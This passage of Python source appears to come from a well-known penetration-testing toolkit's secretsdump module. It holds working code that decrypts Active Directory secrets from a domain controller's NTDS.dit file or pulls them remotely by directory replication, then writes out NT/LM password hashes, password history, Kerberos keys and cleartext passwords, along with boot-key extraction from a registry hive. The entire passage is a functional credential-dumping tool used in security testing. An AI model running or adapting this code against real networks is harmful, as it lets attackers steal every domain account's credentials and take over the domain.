elif record[self.NAME_TO_INTERNAL['sAMAccountType']] in self.ACCOUNT_TYPES:
# Okey.. we found some users, but we're not yet ready to process them.
# Let's just store them in a temp list
self.__tmpUsers.append(record)
if peklist is not None:
encryptedPekList = self.PEKLIST_ENC(peklist)
if encryptedPekList['Header'][:4] == b'\x02\x00\x00\x00':
# Up to Windows 2012 R2 looks like header starts this way
md5 = hashlib.new('md5')
md5.update(self.__bootKey)
for i in range(1000):
md5.update(encryptedPekList['KeyMaterial'])
tmpKey = md5.digest()
rc4 = ARC4.new(tmpKey)
decryptedPekList = self.PEKLIST_PLAIN(rc4.encrypt(encryptedPekList['EncryptedPek']))
PEKLen = len(self.PEK_KEY())
for i in range(len( decryptedPekList['DecryptedPek'] ) // PEKLen ):
cursor = i * PEKLen
pek = self.PEK_KEY(decryptedPekList['DecryptedPek'][cursor:cursor+PEKLen])
LOG.info("PEK # %d found and decrypted: %s", i, hexlify(pek['Key']).decode('utf-8'))
self.__PEK.append(pek['Key'])
elif encryptedPekList['Header'][:4] == b'\x03\x00\x00\x00':
# Windows 2016 TP4 header starts this way
# Encrypted PEK Key seems to be different, but actually similar to decrypting LSA Secrets.
# using AES:
# Key: the bootKey
# CipherText: PEKLIST_ENC['EncryptedPek']
# IV: PEKLIST_ENC['KeyMaterial']
decryptedPekList = self.PEKLIST_PLAIN(
self.__cryptoCommon.decryptAES(self.__bootKey, encryptedPekList['EncryptedPek'],
encryptedPekList['KeyMaterial']))
# PEK list entries take the form:
# index (4 byte LE int), PEK (16 byte key)
# the entries are in ascending order, and the list is terminated
# by an entry with a non-sequential index (08080808 observed)
pos, cur_index = 0, 0
while True:
pek_entry = decryptedPekList['DecryptedPek'][pos:pos+20]
if len(pek_entry) < 20: break # if list truncated, should not happen
index, pek = unpack('<L16s', pek_entry)
if index != cur_index: break # break on non-sequential index
self.__PEK.append(pek)
LOG.info("PEK # %d found and decrypted: %s", index, hexlify(pek).decode('utf-8'))
cur_index += 1
pos += 20
def __removeRC4Layer(self, cryptedHash):
md5 = hashlib.new('md5')
# PEK index can be found on header of each ciphered blob (pos 8-10)
pekIndex = hexlify(cryptedHash['Header'])
md5.update(self.__PEK[int(pekIndex[8:10])])
md5.update(cryptedHash['KeyMaterial'])
tmpKey = md5.digest()
rc4 = ARC4.new(tmpKey)
plainText = rc4.encrypt(cryptedHash['EncryptedHash'])
return plainText
def __removeDESLayer(self, cryptedHash, rid):
Key1,Key2 = self.__cryptoCommon.deriveKey(int(rid))
Crypt1 = DES.new(Key1, DES.MODE_ECB)
Crypt2 = DES.new(Key2, DES.MODE_ECB)
decryptedHash = Crypt1.decrypt(cryptedHash[:8]) + Crypt2.decrypt(cryptedHash[8:])
return decryptedHash
@staticmethod
def __fileTimeToDateTime(t):
t -= 116444736000000000
t //= 10000000
if t < 0:
return 'never'
else:
dt = datetime.fromtimestamp(t)
return dt.strftime("%Y-%m-%d %H:%M")
def __decryptSupplementalInfo(self, record, prefixTable=None, keysFile=None, clearTextFile=None):
# This is based on [MS-SAMR] 2.2.10 Supplemental Credentials Structures
haveInfo = False
LOG.debug('Entering NTDSHashes.__decryptSupplementalInfo')
if self.__useVSSMethod is True:
if record[self.NAME_TO_INTERNAL['supplementalCredentials']] is not None:
if len(unhexlify(record[self.NAME_TO_INTERNAL['supplementalCredentials']])) > 24:
if record[self.NAME_TO_INTERNAL['userPrincipalName']] is not None:
domain = record[self.NAME_TO_INTERNAL['userPrincipalName']].split('@')[-1]
userName = '%s\\%s' % (domain, record[self.NAME_TO_INTERNAL['sAMAccountName']])
else:
userName = '%s' % record[self.NAME_TO_INTERNAL['sAMAccountName']]
cipherText = self.CRYPTED_BLOB(unhexlify(record[self.NAME_TO_INTERNAL['supplementalCredentials']]))
if cipherText['Header'][:4] == b'\x13\x00\x00\x00':
# Win2016 TP4 decryption is different
pekIndex = hexlify(cipherText['Header'])
plainText = self.__cryptoCommon.decryptAES(self.__PEK[int(pekIndex[8:10])],
cipherText['EncryptedHash'][4:],
cipherText['KeyMaterial'])
haveInfo = True
else:
plainText = self.__removeRC4Layer(cipherText)
haveInfo = True
else:
domain = None
userName = None
replyVersion = 'V%d' % record['pdwOutVersion']
for attr in record['pmsgOut'][replyVersion]['pObjects']['Entinf']['AttrBlock']['pAttr']:
try:
attId = drsuapi.OidFromAttid(prefixTable, attr['attrTyp'])
LOOKUP_TABLE = self.ATTRTYP_TO_ATTID
except Exception as e:
LOG.debug('Failed to execute OidFromAttid with error %s' % e)
LOG.debug('Exception', exc_info=True)
# Fallbacking to fixed table and hope for the best
attId = attr['attrTyp']
LOOKUP_TABLE = self.NAME_TO_ATTRTYP
if attId == LOOKUP_TABLE['userPrincipalName']:
if attr['AttrVal']['valCount'] > 0:
try:
domain = b''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le').split('@')[-1]
except:
domain = None
else:
domain = None
elif attId == LOOKUP_TABLE['sAMAccountName']:
if attr['AttrVal']['valCount'] > 0:
try:
userName = b''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le')
except:
LOG.error(
'Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
userName = 'unknown'
else:
LOG.error('Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
userName = 'unknown'
if attId == LOOKUP_TABLE['supplementalCredentials']:
if attr['AttrVal']['valCount'] > 0:
blob = b''.join(attr['AttrVal']['pAVal'][0]['pVal'])
plainText = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), blob)
if len(plainText) > 24:
haveInfo = True
if domain is not None:
userName = '%s\\%s' % (domain, userName)
if haveInfo is True:
try:
userProperties = samr.USER_PROPERTIES(plainText)
except:
# On some old w2k3 there might be user properties that don't
# match [MS-SAMR] structure, discarding them
return
propertiesData = userProperties['UserProperties']
for propertyCount in range(userProperties['PropertyCount']):
userProperty = samr.USER_PROPERTY(propertiesData)
propertiesData = propertiesData[len(userProperty):]
# For now, we will only process Newer Kerberos Keys and CLEARTEXT
if userProperty['PropertyName'].decode('utf-16le') == 'Primary:Kerberos-Newer-Keys':
propertyValueBuffer = unhexlify(userProperty['PropertyValue'])
kerbStoredCredentialNew = samr.KERB_STORED_CREDENTIAL_NEW(propertyValueBuffer)
data = kerbStoredCredentialNew['Buffer']
for credential in range(kerbStoredCredentialNew['CredentialCount']):
keyDataNew = samr.KERB_KEY_DATA_NEW(data)
data = data[len(keyDataNew):]
keyValue = propertyValueBuffer[keyDataNew['KeyOffset']:][:keyDataNew['KeyLength']]
if keyDataNew['KeyType'] in self.KERBEROS_TYPE:
answer = "%s:%s:%s" % (userName, self.KERBEROS_TYPE[keyDataNew['KeyType']],hexlify(keyValue).decode('utf-8'))
else:
answer = "%s:%s:%s" % (userName, hex(keyDataNew['KeyType']),hexlify(keyValue).decode('utf-8'))
# We're just storing the keys, not printing them, to make the output more readable
# This is kind of ugly... but it's what I came up with tonight to get an ordered
# set :P. Better ideas welcomed ;)
self.__kerberosKeys[answer] = None
if keysFile is not None:
self.__writeOutput(keysFile, answer + '\n')
elif userProperty['PropertyName'].decode('utf-16le') == 'Primary:CLEARTEXT':
# [MS-SAMR] 3.1.1.8.11.5 Primary:CLEARTEXT Property
# This credential type is the cleartext password. The value format is the UTF-16 encoded cleartext password.
try:
answer = "%s:CLEARTEXT:%s" % (userName, unhexlify(userProperty['PropertyValue']).decode('utf-16le'))
except UnicodeDecodeError:
# This could be because we're decoding a machine password. Printing it hex
answer = "%s:CLEARTEXT:0x%s" % (userName, userProperty['PropertyValue'].decode('utf-8'))
self.__clearTextPwds[answer] = None
if clearTextFile is not None:
self.__writeOutput(clearTextFile, answer + '\n')
if clearTextFile is not None:
clearTextFile.flush()
if keysFile is not None:
keysFile.flush()
LOG.debug('Leaving NTDSHashes.__decryptSupplementalInfo')
def __decryptHash(self, record, prefixTable=None, outputFile=None):
LOG.debug('Entering NTDSHashes.__decryptHash')
if self.__useVSSMethod is True:
LOG.debug('Decrypting hash for user: %s' % record[self.NAME_TO_INTERNAL['name']])
sid = SAMR_RPC_SID(unhexlify(record[self.NAME_TO_INTERNAL['objectSid']]))
rid = sid.formatCanonical().split('-')[-1]
if record[self.NAME_TO_INTERNAL['dBCSPwd']] is not None:
encryptedLMHash = self.CRYPTED_HASH(unhexlify(record[self.NAME_TO_INTERNAL['dBCSPwd']]))
if encryptedLMHash['Header'][:4] == b'\x13\x00\x00\x00':
# Win2016 TP4 decryption is different
encryptedLMHash = self.CRYPTED_HASHW16(unhexlify(record[self.NAME_TO_INTERNAL['dBCSPwd']]))
pekIndex = hexlify(encryptedLMHash['Header'])
tmpLMHash = self.__cryptoCommon.decryptAES(self.__PEK[int(pekIndex[8:10])],
encryptedLMHash['EncryptedHash'][:16],
encryptedLMHash['KeyMaterial'])
else:
tmpLMHash = self.__removeRC4Layer(encryptedLMHash)
LMHash = self.__removeDESLayer(tmpLMHash, rid)
else:
LMHash = ntlm.LMOWFv1('', '')
if record[self.NAME_TO_INTERNAL['unicodePwd']] is not None:
encryptedNTHash = self.CRYPTED_HASH(unhexlify(record[self.NAME_TO_INTERNAL['unicodePwd']]))
if encryptedNTHash['Header'][:4] == b'\x13\x00\x00\x00':
# Win2016 TP4 decryption is different
encryptedNTHash = self.CRYPTED_HASHW16(unhexlify(record[self.NAME_TO_INTERNAL['unicodePwd']]))
pekIndex = hexlify(encryptedNTHash['Header'])
tmpNTHash = self.__cryptoCommon.decryptAES(self.__PEK[int(pekIndex[8:10])],
encryptedNTHash['EncryptedHash'][:16],
encryptedNTHash['KeyMaterial'])
else:
tmpNTHash = self.__removeRC4Layer(encryptedNTHash)
NTHash = self.__removeDESLayer(tmpNTHash, rid)
else:
NTHash = ntlm.NTOWFv1('', '')
if record[self.NAME_TO_INTERNAL['userPrincipalName']] is not None:
domain = record[self.NAME_TO_INTERNAL['userPrincipalName']].split('@')[-1]
userName = '%s\\%s' % (domain, record[self.NAME_TO_INTERNAL['sAMAccountName']])
else:
userName = '%s' % record[self.NAME_TO_INTERNAL['sAMAccountName']]
if self.__printUserStatus is True:
# Enabled / disabled users
if record[self.NAME_TO_INTERNAL['userAccountControl']] is not None:
if '{0:08b}'.format(record[self.NAME_TO_INTERNAL['userAccountControl']])[-2:-1] == '1':
userAccountStatus = 'Disabled'
elif '{0:08b}'.format(record[self.NAME_TO_INTERNAL['userAccountControl']])[-2:-1] == '0':
userAccountStatus = 'Enabled'
else:
userAccountStatus = 'N/A'
if record[self.NAME_TO_INTERNAL['pwdLastSet']] is not None:
pwdLastSet = self.__fileTimeToDateTime(record[self.NAME_TO_INTERNAL['pwdLastSet']])
else:
pwdLastSet = 'N/A'
answer = "%s:%s:%s:%s:::" % (userName, rid, hexlify(LMHash).decode('utf-8'), hexlify(NTHash).decode('utf-8'))
if self.__pwdLastSet is True:
answer = "%s (pwdLastSet=%s)" % (answer, pwdLastSet)
if self.__printUserStatus is True:
answer = "%s (status=%s)" % (answer, userAccountStatus)
self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS, answer)
if outputFile is not None:
self.__writeOutput(outputFile, answer + '\n')
if self.__history:
LMHistory = []
NTHistory = []
if record[self.NAME_TO_INTERNAL['lmPwdHistory']] is not None:
encryptedLMHistory = self.CRYPTED_HISTORY(unhexlify(record[self.NAME_TO_INTERNAL['lmPwdHistory']]))
tmpLMHistory = self.__removeRC4Layer(encryptedLMHistory)
for i in range(0, len(tmpLMHistory) // 16):
LMHash = self.__removeDESLayer(tmpLMHistory[i * 16:(i + 1) * 16], rid)
LMHistory.append(LMHash)
if record[self.NAME_TO_INTERNAL['ntPwdHistory']] is not None:
encryptedNTHistory = self.CRYPTED_HISTORY(unhexlify(record[self.NAME_TO_INTERNAL['ntPwdHistory']]))
if encryptedNTHistory['Header'][:4] == b'\x13\x00\x00\x00':
# Win2016 TP4 decryption is different
pekIndex = hexlify(encryptedNTHistory['Header'])
tmpNTHistory = self.__cryptoCommon.decryptAES(self.__PEK[int(pekIndex[8:10])],
encryptedNTHistory['EncryptedHash'],
encryptedNTHistory['KeyMaterial'])
else:
tmpNTHistory = self.__removeRC4Layer(encryptedNTHistory)
for i in range(0, len(tmpNTHistory) // 16):
NTHash = self.__removeDESLayer(tmpNTHistory[i * 16:(i + 1) * 16], rid)
NTHistory.append(NTHash)
for i, (LMHash, NTHash) in enumerate(
map(lambda l, n: (l, n) if l else ('', n), LMHistory[1:], NTHistory[1:])):
if self.__noLMHash:
lmhash = hexlify(ntlm.LMOWFv1('', ''))
else:
lmhash = hexlify(LMHash)
answer = "%s_history%d:%s:%s:%s:::" % (userName, i, rid, lmhash.decode('utf-8'),
hexlify(NTHash).decode('utf-8'))
if outputFile is not None:
self.__writeOutput(outputFile, answer + '\n')
self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS, answer)
else:
replyVersion = 'V%d' %record['pdwOutVersion']
LOG.debug('Decrypting hash for user: %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
domain = None
if self.__history:
LMHistory = []
NTHistory = []
rid = unpack('<L', record['pmsgOut'][replyVersion]['pObjects']['Entinf']['pName']['Sid'][-4:])[0]
for attr in record['pmsgOut'][replyVersion]['pObjects']['Entinf']['AttrBlock']['pAttr']:
try:
attId = drsuapi.OidFromAttid(prefixTable, attr['attrTyp'])
LOOKUP_TABLE = self.ATTRTYP_TO_ATTID
except Exception as e:
LOG.debug('Failed to execute OidFromAttid with error %s, fallbacking to fixed table' % e)
LOG.debug('Exception', exc_info=True)
# Fallbacking to fixed table and hope for the best
attId = attr['attrTyp']
LOOKUP_TABLE = self.NAME_TO_ATTRTYP
if attId == LOOKUP_TABLE['dBCSPwd']:
if attr['AttrVal']['valCount'] > 0:
encrypteddBCSPwd = b''.join(attr['AttrVal']['pAVal'][0]['pVal'])
encryptedLMHash = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encrypteddBCSPwd)
LMHash = drsuapi.removeDESLayer(encryptedLMHash, rid)
else:
LMHash = ntlm.LMOWFv1('', '')
elif attId == LOOKUP_TABLE['unicodePwd']:
if attr['AttrVal']['valCount'] > 0:
encryptedUnicodePwd = b''.join(attr['AttrVal']['pAVal'][0]['pVal'])
encryptedNTHash = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedUnicodePwd)
NTHash = drsuapi.removeDESLayer(encryptedNTHash, rid)
else:
NTHash = ntlm.NTOWFv1('', '')
elif attId == LOOKUP_TABLE['userPrincipalName']:
if attr['AttrVal']['valCount'] > 0:
try:
domain = b''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le').split('@')[-1]
except:
domain = None
else:
domain = None
elif attId == LOOKUP_TABLE['sAMAccountName']:
if attr['AttrVal']['valCount'] > 0:
try:
userName = b''.join(attr['AttrVal']['pAVal'][0]['pVal']).decode('utf-16le')
except:
LOG.error('Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
userName = 'unknown'
else:
LOG.error('Cannot get sAMAccountName for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
userName = 'unknown'
elif attId == LOOKUP_TABLE['objectSid']:
if attr['AttrVal']['valCount'] > 0:
objectSid = b''.join(attr['AttrVal']['pAVal'][0]['pVal'])
else:
LOG.error('Cannot get objectSid for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
objectSid = rid
elif attId == LOOKUP_TABLE['pwdLastSet']:
if attr['AttrVal']['valCount'] > 0:
try:
pwdLastSet = self.__fileTimeToDateTime(unpack('<Q', b''.join(attr['AttrVal']['pAVal'][0]['pVal']))[0])
except:
LOG.error('Cannot get pwdLastSet for %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
pwdLastSet = 'N/A'
elif self.__printUserStatus and attId == LOOKUP_TABLE['userAccountControl']:
if attr['AttrVal']['valCount'] > 0:
if (unpack('<L', b''.join(attr['AttrVal']['pAVal'][0]['pVal']))[0]) & samr.UF_ACCOUNTDISABLE:
userAccountStatus = 'Disabled'
else:
userAccountStatus = 'Enabled'
else:
userAccountStatus = 'N/A'
if self.__history:
if attId == LOOKUP_TABLE['lmPwdHistory']:
if attr['AttrVal']['valCount'] > 0:
encryptedLMHistory = b''.join(attr['AttrVal']['pAVal'][0]['pVal'])
tmpLMHistory = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedLMHistory)
for i in range(0, len(tmpLMHistory) // 16):
LMHashHistory = drsuapi.removeDESLayer(tmpLMHistory[i * 16:(i + 1) * 16], rid)
LMHistory.append(LMHashHistory)
else:
LOG.debug('No lmPwdHistory for user %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
elif attId == LOOKUP_TABLE['ntPwdHistory']:
if attr['AttrVal']['valCount'] > 0:
encryptedNTHistory = b''.join(attr['AttrVal']['pAVal'][0]['pVal'])
tmpNTHistory = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedNTHistory)
for i in range(0, len(tmpNTHistory) // 16):
NTHashHistory = drsuapi.removeDESLayer(tmpNTHistory[i * 16:(i + 1) * 16], rid)
NTHistory.append(NTHashHistory)
else:
LOG.debug('No ntPwdHistory for user %s' % record['pmsgOut'][replyVersion]['pNC']['StringName'][:-1])
if domain is not None:
userName = '%s\\%s' % (domain, userName)
answer = "%s:%s:%s:%s:::" % (userName, rid, hexlify(LMHash).decode('utf-8'), hexlify(NTHash).decode('utf-8'))
if self.__pwdLastSet is True:
answer = "%s (pwdLastSet=%s)" % (answer, pwdLastSet)
if self.__printUserStatus is True:
answer = "%s (status=%s)" % (answer, userAccountStatus)
self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS, answer)
if outputFile is not None:
self.__writeOutput(outputFile, answer + '\n')
if self.__history:
for i, (LMHashHistory, NTHashHistory) in enumerate(
map(lambda l, n: (l, n) if l else ('', n), LMHistory[1:], NTHistory[1:])):
if self.__noLMHash:
lmhash = hexlify(ntlm.LMOWFv1('', ''))
else:
lmhash = hexlify(LMHashHistory)
answer = "%s_history%d:%s:%s:%s:::" % (userName, i, rid, lmhash.decode('utf-8'),
hexlify(NTHashHistory).decode('utf-8'))
self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS, answer)
if outputFile is not None:
self.__writeOutput(outputFile, answer + '\n')
if outputFile is not None:
outputFile.flush()
LOG.debug('Leaving NTDSHashes.__decryptHash')
def dump(self):
hashesOutputFile = None
keysOutputFile = None
clearTextOutputFile = None
if self.__useVSSMethod is True:
if self.__NTDS is None:
# No NTDS.dit file provided and were asked to use VSS
return
else:
if self.__NTDS is None:
# DRSUAPI method, checking whether target is a DC
try:
if self.__remoteOps is not None:
try:
self.__remoteOps.connectSamr(self.__remoteOps.getMachineNameAndDomain()[1])
except:
if os.getenv('KRB5CCNAME') is not None and self.__justUser is not None:
# RemoteOperations failed. That might be because there was no way to log into the
# target system. We just have a last resort. Hope we have tickets cached and that they
# will work
pass
else:
raise
else:
raise Exception('No remote Operations available')
except Exception as e:
LOG.debug('Exiting NTDSHashes.dump() because %s' % e)
# Target's not a DC
return
try:
# Let's check if we need to save results in a file
if self.__outputFileName is not None:
LOG.debug('Saving output to %s' % self.__outputFileName)
# We have to export. Are we resuming a session?
if self.__resumeSession.hasResumeData():
mode = 'a+'
else:
mode = 'w+'
hashesOutputFile = openFile(self.__outputFileName+'.ntds',mode)
if self.__justNTLM is False:
keysOutputFile = openFile(self.__outputFileName+'.ntds.kerberos',mode)
clearTextOutputFile = openFile(self.__outputFileName+'.ntds.cleartext',mode)
LOG.info('Dumping Domain Credentials (domain\\uid:rid:lmhash:nthash)')
if self.__useVSSMethod:
# We start getting rows from the table aiming at reaching
# the pekList. If we find users records we stored them
# in a temp list for later process.
self.__getPek()
if self.__PEK is not None:
LOG.info('Reading and decrypting hashes from %s ' % self.__NTDS)
# First of all, if we have users already cached, let's decrypt their hashes
for record in self.__tmpUsers:
try:
self.__decryptHash(record, outputFile=hashesOutputFile)
if self.__justNTLM is False:
self.__decryptSupplementalInfo(record, None, keysOutputFile, clearTextOutputFile)
except Exception as e:
LOG.debug('Exception', exc_info=True)
try:
LOG.error(
"Error while processing row for user %s" % record[self.NAME_TO_INTERNAL['name']])
LOG.error(str(e))
pass
except:
LOG.error("Error while processing row!")
LOG.error(str(e))
pass
# Now let's keep moving through the NTDS file and decrypting what we find
while True:
try:
record = self.__ESEDB.getNextRow(self.__cursor)
except:
LOG.error('Error while calling getNextRow(), trying the next one')
continue
if record is None:
break
try:
if record[self.NAME_TO_INTERNAL['sAMAccountType']] in self.ACCOUNT_TYPES:
self.__decryptHash(record, outputFile=hashesOutputFile)
if self.__justNTLM is False:
self.__decryptSupplementalInfo(record, None, keysOutputFile, clearTextOutputFile)
except Exception as e:
LOG.debug('Exception', exc_info=True)
try:
LOG.error(
"Error while processing row for user %s" % record[self.NAME_TO_INTERNAL['name']])
LOG.error(str(e))
pass
except:
LOG.error("Error while processing row!")
LOG.error(str(e))
pass
else:
LOG.info('Using the DRSUAPI method to get NTDS.DIT secrets')
status = STATUS_MORE_ENTRIES
enumerationContext = 0
# Do we have to resume from a previously saved session?
if self.__resumeSession.hasResumeData():
resumeSid = self.__resumeSession.getResumeData()
LOG.info('Resuming from SID %s, be patient' % resumeSid)
else:
resumeSid = None
# We do not create a resume file when asking for a single user
if self.__justUser is None:
self.__resumeSession.beginTransaction()
if self.__justUser is not None:
# Depending on the input received, we need to change the formatOffered before calling
# DRSCrackNames.
# There are some instances when you call -just-dc-user and you receive ERROR_DS_NAME_ERROR_NOT_UNIQUE
# That's because we don't specify the domain for the user (and there might be duplicates)
# Always remember that if you specify a domain, you should specify the NetBIOS domain name,
# not the FQDN. Just for this time. It's confusing I know, but that's how this API works.
if self.__justUser.find('\\') >=0 or self.__justUser.find('/') >= 0:
self.__justUser = self.__justUser.replace('/','\\')
formatOffered = drsuapi.DS_NAME_FORMAT.DS_NT4_ACCOUNT_NAME
else:
formatOffered = drsuapi.DS_NT4_ACCOUNT_NAME_SANS_DOMAIN
crackedName = self.__remoteOps.DRSCrackNames(formatOffered,
drsuapi.DS_NAME_FORMAT.DS_UNIQUE_ID_NAME,
name=self.__justUser)
if crackedName['pmsgOut']['V1']['pResult']['cItems'] == 1:
if crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status'] != 0:
raise Exception("%s: %s" % system_errors.ERROR_MESSAGES[
0x2114 + crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status']])
userRecord = self.__remoteOps.DRSGetNCChanges(crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['pName'][:-1])
#userRecord.dump()
replyVersion = 'V%d' % userRecord['pdwOutVersion']
if userRecord['pmsgOut'][replyVersion]['cNumObjects'] == 0:
raise Exception('DRSGetNCChanges didn\'t return any object!')
else:
LOG.warning('DRSCrackNames returned %d items for user %s, skipping' % (
crackedName['pmsgOut']['V1']['pResult']['cItems'], self.__justUser))
try:
self.__decryptHash(userRecord,
userRecord['pmsgOut'][replyVersion]['PrefixTableSrc']['pPrefixEntry'],
hashesOutputFile)
if self.__justNTLM is False:
self.__decryptSupplementalInfo(userRecord, userRecord['pmsgOut'][replyVersion]['PrefixTableSrc'][
'pPrefixEntry'], keysOutputFile, clearTextOutputFile)
except Exception as e:
LOG.error("Error while processing user!")
LOG.debug("Exception", exc_info=True)
LOG.error(str(e))
else:
while status == STATUS_MORE_ENTRIES:
resp = self.__remoteOps.getDomainUsers(enumerationContext)
for user in resp['Buffer']['Buffer']:
userName = user['Name']
userSid = self.__remoteOps.ridToSid(user['RelativeId'])
if resumeSid is not None:
# Means we're looking for a SID before start processing back again
if resumeSid == userSid.formatCanonical():
# Match!, next round we will back processing
LOG.debug('resumeSid %s reached! processing users from now on' % userSid.formatCanonical())
resumeSid = None
else:
LOG.debug('Skipping SID %s since it was processed already' % userSid.formatCanonical())
continue
# Let's crack the user sid into DS_FQDN_1779_NAME
# In theory I shouldn't need to crack the sid. Instead
# I could use it when calling DRSGetNCChanges inside the DSNAME parameter.
# For some reason tho, I get ERROR_DS_DRA_BAD_DN when doing so.
crackedName = self.__remoteOps.DRSCrackNames(drsuapi.DS_NAME_FORMAT.DS_SID_OR_SID_HISTORY_NAME,
drsuapi.DS_NAME_FORMAT.DS_UNIQUE_ID_NAME,
name=userSid.formatCanonical())
if crackedName['pmsgOut']['V1']['pResult']['cItems'] == 1:
if crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status'] != 0:
LOG.error("%s: %s" % system_errors.ERROR_MESSAGES[
0x2114 + crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status']])
break
userRecord = self.__remoteOps.DRSGetNCChanges(
crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['pName'][:-1])
# userRecord.dump()
replyVersion = 'V%d' % userRecord['pdwOutVersion']
if userRecord['pmsgOut'][replyVersion]['cNumObjects'] == 0:
raise Exception('DRSGetNCChanges didn\'t return any object!')
else:
LOG.warning('DRSCrackNames returned %d items for user %s, skipping' % (
crackedName['pmsgOut']['V1']['pResult']['cItems'], userName))
try:
self.__decryptHash(userRecord,
userRecord['pmsgOut'][replyVersion]['PrefixTableSrc']['pPrefixEntry'],
hashesOutputFile)
if self.__justNTLM is False:
self.__decryptSupplementalInfo(userRecord, userRecord['pmsgOut'][replyVersion]['PrefixTableSrc'][
'pPrefixEntry'], keysOutputFile, clearTextOutputFile)
except Exception as e:
LOG.error("Error while processing user!")
LOG.debug("Exception", exc_info=True)
LOG.error(str(e))
# Saving the session state
self.__resumeSession.writeResumeData(userSid.formatCanonical())
enumerationContext = resp['EnumerationContext']
status = resp['ErrorCode']
# Everything went well and we covered all the users
# Let's remove the resume file is we had created it
if self.__justUser is None:
self.__resumeSession.clearResumeData()
LOG.debug("Finished processing and printing user's hashes, now printing supplemental information")
# Now we'll print the Kerberos keys. So we don't mix things up in the output.
if len(self.__kerberosKeys) > 0:
if self.__useVSSMethod is True:
LOG.info('Kerberos keys from %s ' % self.__NTDS)
else:
LOG.info('Kerberos keys grabbed')
for itemKey in list(self.__kerberosKeys.keys()):
self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS_KERBEROS, itemKey)
# And finally the cleartext pwds
if len(self.__clearTextPwds) > 0:
if self.__useVSSMethod is True:
LOG.info('ClearText password from %s ' % self.__NTDS)
else:
LOG.info('ClearText passwords grabbed')
for itemKey in list(self.__clearTextPwds.keys()):
self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS_CLEARTEXT, itemKey)
finally:
# Resources cleanup
if hashesOutputFile is not None:
hashesOutputFile.close()
if keysOutputFile is not None:
keysOutputFile.close()
if clearTextOutputFile is not None:
clearTextOutputFile.close()
self.__resumeSession.endTransaction()
@classmethod
def __writeOutput(cls, fd, data):
try:
fd.write(data)
except Exception as e:
LOG.error("Error writing entry, skipping (%s)" % str(e))
pass
def finish(self):
if self.__NTDS is not None:
self.__ESEDB.close()
class LocalOperations:
def __init__(self, systemHive):
self.__systemHive = systemHive
def getBootKey(self):
# Local Version whenever we are given the files directly
bootKey = b''
tmpKey = b''
winreg = winregistry.Registry(self.__systemHive, False)
# We gotta find out the Current Control Set
currentControlSet = winreg.getValue('\\Select\\Current')[1]
currentControlSet = "ControlSet%03d" % currentControlSet
for key in ['JD', 'Skew1', 'GBG', 'Data']:
LOG.debug('Retrieving class info for %s' % key)
ans = winreg.getClass('\\%s\\Control\\Lsa\\%s' % (currentControlSet, key))
digit = ans[:16].decode('utf-16le')
tmpKey = tmpKey + b(digit)
transforms = [8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7]
tmpKey = unhexlify(tmpKey)
for i in range(len(tmpKey)):
bootKey += tmpKey[transforms[i]:transforms[i] + 1]
LOG.info('Target system bootKey: 0x%s' % hexlify(bootKey).decode('utf-8'))
return bootKey
def checkNoLMHashPolicy(self):
LOG.debug('Checking NoLMHash Policy')
winreg = winregistry.Registry(self.__systemHive, False)
# We gotta find out the Current Control Set
currentControlSet = winreg.getValue('\\Select\\Current')[1]
currentControlSet = "ControlSet%03d" % currentControlSet
# noLmHash = winreg.getValue('\\%s\\Control\\Lsa\\NoLmHash' % currentControlSet)[1]
noLmHash = winreg.getValue('\\%s\\Control\\Lsa\\NoLmHash' % currentControlSet)
if noLmHash is not None:
noLmHash = noLmHash[1]
else:
noLmHash = 0
if noLmHash != 1:
LOG.debug('LMHashes are being stored')
return False
LOG.debug('LMHashes are NOT being stored')
return True
def _print_helper(*args, **kwargs):
print(args[-1])
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